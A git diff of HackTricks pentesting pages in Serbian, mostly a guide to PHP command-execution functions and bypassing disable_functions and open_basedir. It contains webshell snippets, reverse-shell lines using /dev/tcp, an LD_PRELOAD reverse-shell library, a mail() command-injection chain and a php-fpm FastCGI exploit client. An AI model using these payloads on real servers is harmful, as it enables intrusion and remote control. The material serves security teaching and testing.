@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -21,9 +21,11 @@ Drugi načini podrške HackTricks-u:
|
||||||
**Napomena:** [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshell može **automatski** proveriti i zaobići sledeće funkcije ako su neke od njih onemogućene.
|
**Napomena:** [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshell može **automatski** proveriti i zaobići sledeće funkcije ako su neke od njih onemogućene.
|
||||||
|
|
||||||
**exec** - Vraća poslednju liniju izlaza komande
|
**exec** - Vraća poslednju liniju izlaza komande
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo exec("uname -a");
|
echo exec("uname -a");
|
||||||
```
|
```
|
||||||
|
|
||||||
**passthru** - Prosleđuje izlaz komandi direktno u pregledač
|
**passthru** - Prosleđuje izlaz komandi direktno u pregledač
|
||||||
|
|
||||||
```php
|
```php
|
||||||
|
@ -33,32 +35,44 @@ passthru($_GET['cmd']);
|
||||||
```
|
```
|
||||||
|
|
||||||
This function allows an attacker to execute arbitrary commands on the server and display the output directly in the browser. It is commonly used to perform command injection attacks. By manipulating the `cmd` parameter in the URL, an attacker can execute any command they want on the server. This can lead to unauthorized access, data leakage, and other security vulnerabilities. It is important to sanitize user input and validate the commands being executed to prevent this type of attack.
|
This function allows an attacker to execute arbitrary commands on the server and display the output directly in the browser. It is commonly used to perform command injection attacks. By manipulating the `cmd` parameter in the URL, an attacker can execute any command they want on the server. This can lead to unauthorized access, data leakage, and other security vulnerabilities. It is important to sanitize user input and validate the commands being executed to prevent this type of attack.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo passthru("uname -a");
|
echo passthru("uname -a");
|
||||||
```
|
```
|
||||||
|
|
||||||
**system** - Prosleđuje izlaz komandi direktno u pregledač i vraća poslednju liniju
|
**system** - Prosleđuje izlaz komandi direktno u pregledač i vraća poslednju liniju
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo system("uname -a");
|
echo system("uname -a");
|
||||||
```
|
```
|
||||||
|
|
||||||
**shell\_exec** - Vraća izlaz komandi
|
**shell\_exec** - Vraća izlaz komandi
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo shell_exec("uname -a");
|
echo shell_exec("uname -a");
|
||||||
```
|
```
|
||||||
|
|
||||||
\`\` (backticks) - Isto kao i shell\_exec()
|
\`\` (backticks) - Isto kao i shell\_exec()
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo `uname -a`
|
echo `uname -a`
|
||||||
```
|
```
|
||||||
|
|
||||||
**popen** - Otvora čitanje ili pisanje cevi ka procesu komande
|
**popen** - Otvora čitanje ili pisanje cevi ka procesu komande
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo fread(popen("/bin/ls /", "r"), 4096);
|
echo fread(popen("/bin/ls /", "r"), 4096);
|
||||||
```
|
```
|
||||||
|
|
||||||
**proc\_open** - Slično kao popen(), ali sa većim stepenom kontrole
|
**proc\_open** - Slično kao popen(), ali sa većim stepenom kontrole
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
proc_close(proc_open("uname -a",array(),$something));
|
proc_close(proc_open("uname -a",array(),$something));
|
||||||
```
|
```
|
||||||
|
|
||||||
**preg\_replace**
|
**preg\_replace**
|
||||||
|
|
||||||
**preg\_replace** je funkcija u PHP-u koja se koristi za zamenu uzoraka u nizu ili stringu. Ova funkcija koristi regularne izraze za pronalaženje i zamenu određenih delova teksta.
|
**preg\_replace** je funkcija u PHP-u koja se koristi za zamenu uzoraka u nizu ili stringu. Ova funkcija koristi regularne izraze za pronalaženje i zamenu određenih delova teksta.
|
||||||
|
|
||||||
Evo sintakse funkcije:
|
Evo sintakse funkcije:
|
||||||
|
|
||||||
|
@ -66,29 +80,36 @@ Evo sintakse funkcije:
|
||||||
preg_replace($pattern, $replacement, $subject);
|
preg_replace($pattern, $replacement, $subject);
|
||||||
```
|
```
|
||||||
|
|
||||||
- `$pattern` predstavlja regularni izraz koji se koristi za pronalaženje dela teksta koji želimo da zamenimo.
|
* `$pattern` predstavlja regularni izraz koji se koristi za pronalaženje dela teksta koji želimo da zamenimo.
|
||||||
- `$replacement` predstavlja string ili niz koji se koristi za zamenu pronađenog dela teksta.
|
* `$replacement` predstavlja string ili niz koji se koristi za zamenu pronađenog dela teksta.
|
||||||
- `$subject` predstavlja niz ili string u kojem želimo da izvršimo zamenu.
|
* `$subject` predstavlja niz ili string u kojem želimo da izvršimo zamenu.
|
||||||
|
|
||||||
Ova funkcija je veoma korisna prilikom manipulacije tekstom, kao i prilikom obrade korisničkog unosa. Međutim, treba biti oprezan prilikom korišćenja ove funkcije, jer nepravilno korišćenje može dovesti do ranjivosti kao što su XSS napadi ili SQL injection.
|
Ova funkcija je veoma korisna prilikom manipulacije tekstom, kao i prilikom obrade korisničkog unosa. Međutim, treba biti oprezan prilikom korišćenja ove funkcije, jer nepravilno korišćenje može dovesti do ranjivosti kao što su XSS napadi ili SQL injection.
|
||||||
|
|
||||||
Uvek treba proveriti i validirati korisnički unos pre nego što se koristi **preg\_replace** funkcija kako bi se sprečile potencijalne ranjivosti.
|
Uvek treba proveriti i validirati korisnički unos pre nego što se koristi **preg\_replace** funkcija kako bi se sprečile potencijalne ranjivosti.
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
|
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
|
||||||
```
|
```
|
||||||
|
|
||||||
**pcntl\_exec** - Izvršava program (podrazumevano u modernoj i ne tako modernoj PHP verziji, morate učitati modul `pcntl.so` da biste koristili ovu funkciju)
|
**pcntl\_exec** - Izvršava program (podrazumevano u modernoj i ne tako modernoj PHP verziji, morate učitati modul `pcntl.so` da biste koristili ovu funkciju)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
|
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
|
||||||
```
|
```
|
||||||
|
|
||||||
**mail / mb\_send\_mail** - Ova funkcija se koristi za slanje mejlova, ali se može zloupotrebiti kako bi se ubacili proizvoljni komandi unutar parametra `$options`. Ovo je zato što **php `mail` funkcija** obično poziva `sendmail` binarni fajl unutar sistema i omogućava vam da **dodate dodatne opcije**. Međutim, nećete moći videti izlaz izvršene komande, pa se preporučuje da kreirate skriptu koja upisuje izlaz u fajl, izvršite je koristeći mail, i ispišete izlaz:
|
**mail / mb\_send\_mail** - Ova funkcija se koristi za slanje mejlova, ali se može zloupotrebiti kako bi se ubacili proizvoljni komandi unutar parametra `$options`. Ovo je zato što **php `mail` funkcija** obično poziva `sendmail` binarni fajl unutar sistema i omogućava vam da **dodate dodatne opcije**. Međutim, nećete moći videti izlaz izvršene komande, pa se preporučuje da kreirate skriptu koja upisuje izlaz u fajl, izvršite je koristeći mail, i ispišete izlaz:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
|
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
|
||||||
```
|
```
|
||||||
|
|
||||||
**dl** - Ova funkcija se može koristiti za dinamičko učitavanje PHP ekstenzije. Ova funkcija neće uvek biti prisutna, pa trebate proveriti da li je dostupna pre nego što pokušate da je iskoristite. Pročitajte [ovu stranicu da biste naučili kako iskoristiti ovu funkciju](disable\_functions-bypass-dl-function.md).
|
**dl** - Ova funkcija se može koristiti za dinamičko učitavanje PHP ekstenzije. Ova funkcija neće uvek biti prisutna, pa trebate proveriti da li je dostupna pre nego što pokušate da je iskoristite. Pročitajte [ovu stranicu da biste naučili kako iskoristiti ovu funkciju](disable\_functions-bypass-dl-function.md).
|
||||||
|
|
||||||
### Izvršavanje PHP koda
|
### Izvršavanje PHP koda
|
||||||
|
|
||||||
Osim eval funkcije, postoje i druge metode za izvršavanje PHP koda: include/require se mogu koristiti za izvršavanje udaljenog PHP koda u obliku ranjivosti lokalnog uključivanja fajlova i udaljenog uključivanja fajlova.
|
Osim eval funkcije, postoje i druge metode za izvršavanje PHP koda: include/require se mogu koristiti za izvršavanje udaljenog PHP koda u obliku ranjivosti lokalnog uključivanja fajlova i udaljenog uključivanja fajlova.
|
||||||
|
|
||||||
```php
|
```php
|
||||||
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
|
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
|
||||||
eval()
|
eval()
|
||||||
|
@ -108,6 +129,7 @@ $func->invokeArgs(array());
|
||||||
|
|
||||||
// or serialize/unserialize function
|
// or serialize/unserialize function
|
||||||
```
|
```
|
||||||
|
|
||||||
## disable\_functions & open\_basedir
|
## disable\_functions & open\_basedir
|
||||||
|
|
||||||
**Onemogućene funkcije** su podešavanje koje se može konfigurisati u `.ini` fajlovima u PHP-u i koje će **zabraniti** korišćenje navedenih **funkcija**. **Open basedir** je podešavanje koje PHP-u pokazuje folder na koji može pristupiti.\
|
**Onemogućene funkcije** su podešavanje koje se može konfigurisati u `.ini` fajlovima u PHP-u i koje će **zabraniti** korišćenje navedenih **funkcija**. **Open basedir** je podešavanje koje PHP-u pokazuje folder na koji može pristupiti.\
|
||||||
|
@ -127,6 +149,7 @@ Međutim, ako nekako uspete da izvršite proizvoljni PHP kod, možete **pokušat
|
||||||
### Izlistavanje direktorijuma sa glob:// zaobilaženjem
|
### Izlistavanje direktorijuma sa glob:// zaobilaženjem
|
||||||
|
|
||||||
U ovom prvom primeru koristi se `glob://` protokol sa nekim zaobilaženjem putanje:
|
U ovom prvom primeru koristi se `glob://` protokol sa nekim zaobilaženjem putanje:
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
$file_list = array();
|
$file_list = array();
|
||||||
|
@ -143,6 +166,7 @@ foreach($file_list as $f){
|
||||||
echo "{$f}<br/>";
|
echo "{$f}<br/>";
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
**Napomena1**: U putanji možete koristiti i `/e??/*` da biste naveli `/etc/*` i bilo koji drugi folder.\
|
**Napomena1**: U putanji možete koristiti i `/e??/*` da biste naveli `/etc/*` i bilo koji drugi folder.\
|
||||||
**Napomena2**: Izgleda da je deo koda dupliciran, ali to je zapravo neophodno!\
|
**Napomena2**: Izgleda da je deo koda dupliciran, ali to je zapravo neophodno!\
|
||||||
**Napomena3**: Ovaj primer je koristan samo za listanje foldera, a ne za čitanje fajlova
|
**Napomena3**: Ovaj primer je koristan samo za listanje foldera, a ne za čitanje fajlova
|
||||||
|
@ -158,7 +182,8 @@ Ako je **`php-fpm`** konfigurisan, možete ga zloupotrebiti da potpuno zaobiđet
|
||||||
|
|
||||||
Napomena da prva stvar koju trebate uraditi je da pronađete gde se nalazi **unix socket php-fpm-a**. Obično se nalazi u `/var/run`, pa možete **koristiti prethodni kod da biste izlistali direktorijum i pronašli ga**.\
|
Napomena da prva stvar koju trebate uraditi je da pronađete gde se nalazi **unix socket php-fpm-a**. Obično se nalazi u `/var/run`, pa možete **koristiti prethodni kod da biste izlistali direktorijum i pronašli ga**.\
|
||||||
Kod preuzet [ovde](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy).
|
Kod preuzet [ovde](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy).
|
||||||
```php
|
|
||||||
|
````php
|
||||||
<?php
|
<?php
|
||||||
/**
|
/**
|
||||||
* Note : Code is released under the GNU LGPL
|
* Note : Code is released under the GNU LGPL
|
||||||
|
@ -508,7 +533,7 @@ $params = array(
|
||||||
//echo "Call: $uri\n\n";
|
//echo "Call: $uri\n\n";
|
||||||
echo $client->request($params, $code)."\n";
|
echo $client->request($params, $code)."\n";
|
||||||
?>
|
?>
|
||||||
```
|
````
|
||||||
|
|
||||||
```php
|
```php
|
||||||
* @return String
|
* @return String
|
||||||
|
@ -598,6 +623,7 @@ $params = array(
|
||||||
echo $client->zahtev($params, $code)."\n";
|
echo $client->zahtev($params, $code)."\n";
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
|
|
||||||
Ovi skriptovi će komunicirati sa **unix socket-om php-fpm**-a (obično smeštenim u /var/run ako se koristi fpm) kako bi izvršili proizvoljni kod. Podešavanja `open_basedir` će biti prebrisana atributom **PHP\_VALUE** koji se šalje.\
|
Ovi skriptovi će komunicirati sa **unix socket-om php-fpm**-a (obično smeštenim u /var/run ako se koristi fpm) kako bi izvršili proizvoljni kod. Podešavanja `open_basedir` će biti prebrisana atributom **PHP\_VALUE** koji se šalje.\
|
||||||
Primetite kako se koristi `eval` da bi se izvršio PHP kod koji šaljete unutar parametra **cmd**.\
|
Primetite kako se koristi `eval` da bi se izvršio PHP kod koji šaljete unutar parametra **cmd**.\
|
||||||
Takođe, primetite **komentarisani red 324**, možete ga odkomentarisati i **payload će automatski se povezati sa datom URL-om i izvršiti sadržani PHP kod**.\
|
Takođe, primetite **komentarisani red 324**, možete ga odkomentarisati i **payload će automatski se povezati sa datom URL-om i izvršiti sadržani PHP kod**.\
|
||||||
|
@ -636,6 +662,7 @@ Dobro je poznato da neke funkcije u PHP-u poput `mail()` će **izvršavati binar
|
||||||
Možete [**ovde pronaći**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) skriptu za ispitivanje koja je korišćena za pronalaženje ovih funkcija.
|
Možete [**ovde pronaći**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) skriptu za ispitivanje koja je korišćena za pronalaženje ovih funkcija.
|
||||||
|
|
||||||
Ovde je biblioteka koju možete kompajlirati da biste zloupotrebili promenljivu okruženja `LD_PRELOAD`:
|
Ovde je biblioteka koju možete kompajlirati da biste zloupotrebili promenljivu okruženja `LD_PRELOAD`:
|
||||||
|
|
||||||
```php
|
```php
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
#include <sys/types.h>
|
#include <sys/types.h>
|
||||||
|
@ -648,6 +675,7 @@ system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Bypass korišćenjem Chankro-a
|
#### Bypass korišćenjem Chankro-a
|
||||||
|
|
||||||
Da biste iskoristili ovu konfiguraciju, možete koristiti [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Ovo je alat koji će **generisati PHP eksploit** koji trebate otpremiti na ranjivi server i izvršiti ga (pristupiti mu putem veba).\
|
Da biste iskoristili ovu konfiguraciju, možete koristiti [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Ovo je alat koji će **generisati PHP eksploit** koji trebate otpremiti na ranjivi server i izvršiti ga (pristupiti mu putem veba).\
|
||||||
|
@ -687,7 +715,7 @@ Kreirao sam webshell koji olakšava izvođenje ovih radnji (imajte na umu da će
|
||||||
Postoji nekoliko načina zaobilaženja disable\_functions ako se koristi određeni modul ili iskorišćava određena verzija PHP-a:
|
Postoji nekoliko načina zaobilaženja disable\_functions ako se koristi određeni modul ili iskorišćava određena verzija PHP-a:
|
||||||
|
|
||||||
* [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable\_functions-bypass-php-fpm-fastcgi.md)
|
* [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||||
* [**Bypass sa FFI - Foreign Function Interface omogućen**](broken-reference/)
|
* [**Bypass sa FFI - Foreign Function Interface omogućen**](https://github.com/carlospolop/hacktricks/blob/rs/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/broken-reference/README.md)
|
||||||
* [**Bypass putem mem**](disable\_functions-bypass-via-mem.md)
|
* [**Bypass putem mem**](disable\_functions-bypass-via-mem.md)
|
||||||
* [**mod\_cgi**](disable\_functions-bypass-mod\_cgi.md)
|
* [**mod\_cgi**](disable\_functions-bypass-mod\_cgi.md)
|
||||||
* [**PHP Perl Extension Safe\_mode**](disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md)
|
* [**PHP Perl Extension Safe\_mode**](disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md)
|
||||||
|
@ -725,6 +753,7 @@ Ove funkcije prihvataju string parametar koji se može koristiti za pozivanje fu
|
||||||
[Povratni pozivi / Callable](https://www.php.net/manual/en/language.types.callable.php)
|
[Povratni pozivi / Callable](https://www.php.net/manual/en/language.types.callable.php)
|
||||||
|
|
||||||
[Sledeće liste odavde](https://stackoverflow.com/questions/3115559/exploitable-php-functions)
|
[Sledeće liste odavde](https://stackoverflow.com/questions/3115559/exploitable-php-functions)
|
||||||
|
|
||||||
```php
|
```php
|
||||||
// Function => Position of callback arguments
|
// Function => Position of callback arguments
|
||||||
'ob_start' => 0,
|
'ob_start' => 0,
|
||||||
|
@ -760,9 +789,11 @@ Ove funkcije prihvataju string parametar koji se može koristiti za pozivanje fu
|
||||||
'sqlite_create_aggregate' => array(2, 3),
|
'sqlite_create_aggregate' => array(2, 3),
|
||||||
'sqlite_create_function' => 2,
|
'sqlite_create_function' => 2,
|
||||||
```
|
```
|
||||||
|
|
||||||
### Otkrivanje informacija
|
### Otkrivanje informacija
|
||||||
|
|
||||||
Većina ovih poziva funkcija nisu "sinks" (mesta gde se podaci mogu izgubiti). Ali može biti ranjivost ako su podaci koji se vraćaju vidljivi napadaču. Ako napadač može videti phpinfo(), to je definitivno ranjivost.
|
Većina ovih poziva funkcija nisu "sinks" (mesta gde se podaci mogu izgubiti). Ali može biti ranjivost ako su podaci koji se vraćaju vidljivi napadaču. Ako napadač može videti phpinfo(), to je definitivno ranjivost.
|
||||||
|
|
||||||
```php
|
```php
|
||||||
phpinfo
|
phpinfo
|
||||||
posix_mkfifo
|
posix_mkfifo
|
||||||
|
@ -782,6 +813,7 @@ getmyinode
|
||||||
getmypid
|
getmypid
|
||||||
getmyuid
|
getmyuid
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ostalo
|
### Ostalo
|
||||||
|
|
||||||
Ova sekcija sadrži nekoliko drugih korisnih funkcija i trikova koji se mogu koristiti za zaobilaženje funkcija `disable_functions` i `open_basedir` u PHP-u.
|
Ova sekcija sadrži nekoliko drugih korisnih funkcija i trikova koji se mogu koristiti za zaobilaženje funkcija `disable_functions` i `open_basedir` u PHP-u.
|
||||||
|
@ -849,6 +881,7 @@ echo shell_exec('ls -la');
|
||||||
```
|
```
|
||||||
|
|
||||||
Ovaj kod će izvršiti komandu `ls -la` na ciljnom serveru i prikazati rezultat.
|
Ovaj kod će izvršiti komandu `ls -la` na ciljnom serveru i prikazati rezultat.
|
||||||
|
|
||||||
```php
|
```php
|
||||||
extract // Opens the door for register_globals attacks (see study in scarlet).
|
extract // Opens the door for register_globals attacks (see study in scarlet).
|
||||||
parse_str // works like extract if only one argument is given.
|
parse_str // works like extract if only one argument is given.
|
||||||
|
@ -868,11 +901,13 @@ posix_setpgid
|
||||||
posix_setsid
|
posix_setsid
|
||||||
posix_setuid
|
posix_setuid
|
||||||
```
|
```
|
||||||
|
|
||||||
### Funkcije datotečnog sistema
|
### Funkcije datotečnog sistema
|
||||||
|
|
||||||
Prema RATS-u, sve funkcije datotečnog sistema u PHP-u su opasne. Neke od njih se ne čine vrlo korisnim napadaču. Međutim, neke su korisnije nego što možda mislite. Na primer, ako je allow\_url\_fopen=On, tada se URL može koristiti kao putanja do datoteke, pa se pozivom copy($\_GET\['s'], $\_GET\['d']); može otpremiti PHP skripta bilo gde na sistemu. Takođe, ako je sajt podložan zahtevu poslatom putem GET metode, svaka od tih funkcija datotečnog sistema može biti zloupotrebljena kako bi se kanalizovao napad ka drugom hostu preko vašeg servera.
|
Prema RATS-u, sve funkcije datotečnog sistema u PHP-u su opasne. Neke od njih se ne čine vrlo korisnim napadaču. Međutim, neke su korisnije nego što možda mislite. Na primer, ako je allow\_url\_fopen=On, tada se URL može koristiti kao putanja do datoteke, pa se pozivom copy($\_GET\['s'], $\_GET\['d']); može otpremiti PHP skripta bilo gde na sistemu. Takođe, ako je sajt podložan zahtevu poslatom putem GET metode, svaka od tih funkcija datotečnog sistema može biti zloupotrebljena kako bi se kanalizovao napad ka drugom hostu preko vašeg servera.
|
||||||
|
|
||||||
**Otvori rukovalac datotečnog sistema**
|
**Otvori rukovalac datotečnog sistema**
|
||||||
|
|
||||||
```php
|
```php
|
||||||
fopen
|
fopen
|
||||||
tmpfile
|
tmpfile
|
||||||
|
@ -880,6 +915,7 @@ bzopen
|
||||||
gzopen
|
gzopen
|
||||||
SplFileObject->__construct
|
SplFileObject->__construct
|
||||||
```
|
```
|
||||||
|
|
||||||
**Upisivanje u datotečni sistem (delimično u kombinaciji sa čitanjem)**
|
**Upisivanje u datotečni sistem (delimično u kombinaciji sa čitanjem)**
|
||||||
|
|
||||||
Ova tehnika se koristi za upisivanje podataka u datotečni sistem. Može biti korisna u situacijama kada je potrebno izvršiti upisivanje podataka na serveru ili kada je potrebno čitati podatke iz datotečnog sistema.
|
Ova tehnika se koristi za upisivanje podataka u datotečni sistem. Može biti korisna u situacijama kada je potrebno izvršiti upisivanje podataka na serveru ili kada je potrebno čitati podatke iz datotečnog sistema.
|
||||||
|
@ -887,6 +923,7 @@ Ova tehnika se koristi za upisivanje podataka u datotečni sistem. Može biti ko
|
||||||
Da biste koristili ovu tehniku, prvo morate pronaći putanju do ciljanog direktorijuma u datotečnom sistemu. Zatim možete koristiti odgovarajuće funkcije za upisivanje podataka u taj direktorijum.
|
Da biste koristili ovu tehniku, prvo morate pronaći putanju do ciljanog direktorijuma u datotečnom sistemu. Zatim možete koristiti odgovarajuće funkcije za upisivanje podataka u taj direktorijum.
|
||||||
|
|
||||||
Važno je napomenuti da ova tehnika može biti opasna i može dovesti do neovlašćenog pristupa ili oštećenja sistema. Stoga je važno da je koristite samo u okviru zakonskih i etičkih granica, kao deo legitimnog testiranja bezbednosti ili pentestinga.
|
Važno je napomenuti da ova tehnika može biti opasna i može dovesti do neovlašćenog pristupa ili oštećenja sistema. Stoga je važno da je koristite samo u okviru zakonskih i etičkih granica, kao deo legitimnog testiranja bezbednosti ili pentestinga.
|
||||||
|
|
||||||
```php
|
```php
|
||||||
chgrp
|
chgrp
|
||||||
chmod
|
chmod
|
||||||
|
@ -917,7 +954,9 @@ ftp_get
|
||||||
ftp_nb_get
|
ftp_nb_get
|
||||||
scandir
|
scandir
|
||||||
```
|
```
|
||||||
|
|
||||||
**Čitanje sa fajl sistema**
|
**Čitanje sa fajl sistema**
|
||||||
|
|
||||||
```php
|
```php
|
||||||
file_exists
|
file_exists
|
||||||
-- file_get_contents
|
-- file_get_contents
|
||||||
|
@ -973,6 +1012,7 @@ sha1_file
|
||||||
php_strip_whitespace
|
php_strip_whitespace
|
||||||
get_meta_tags
|
get_meta_tags
|
||||||
```
|
```
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -982,7 +1022,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
281
network-services-pentesting/pentesting-web/tomcat/README.md
Normal file
281
network-services-pentesting/pentesting-web/tomcat/README.md
Normal file
|
@ -0,0 +1,281 @@
|
||||||
|
# Tomcat
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Научите хаковање AWS од нуле до хероја са</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Да ли радите у **компанији за кибер безбедност**? Желите ли да видите **вашу компанију рекламирану на HackTricks**? или желите приступ **најновијој верзији PEASS или преузимање HackTricks у PDF-у**? Проверите [**ПЛАНОВЕ ПРЕТПЛАТЕ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Откријте [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцију ексклузивних [**NFT-ова**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Набавите [**званични PEASS & HackTricks сувенир**](https://peass.creator-spring.com)
|
||||||
|
* **Придружите се** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord групи**](https://discord.gg/hRep4RUj7f) или [**телеграм групи**](https://t.me/peass) или **пратите** ме на **Твитеру** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Поделите своје хакерске трикове подношењем PR-ова** [**hacktricks репозиторијуму**](https://github.com/carlospolop/hacktricks) **и** [**hacktricks-cloud репозиторијуму**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Откривање
|
||||||
|
|
||||||
|
* Обично се извршава на **порту 8080**
|
||||||
|
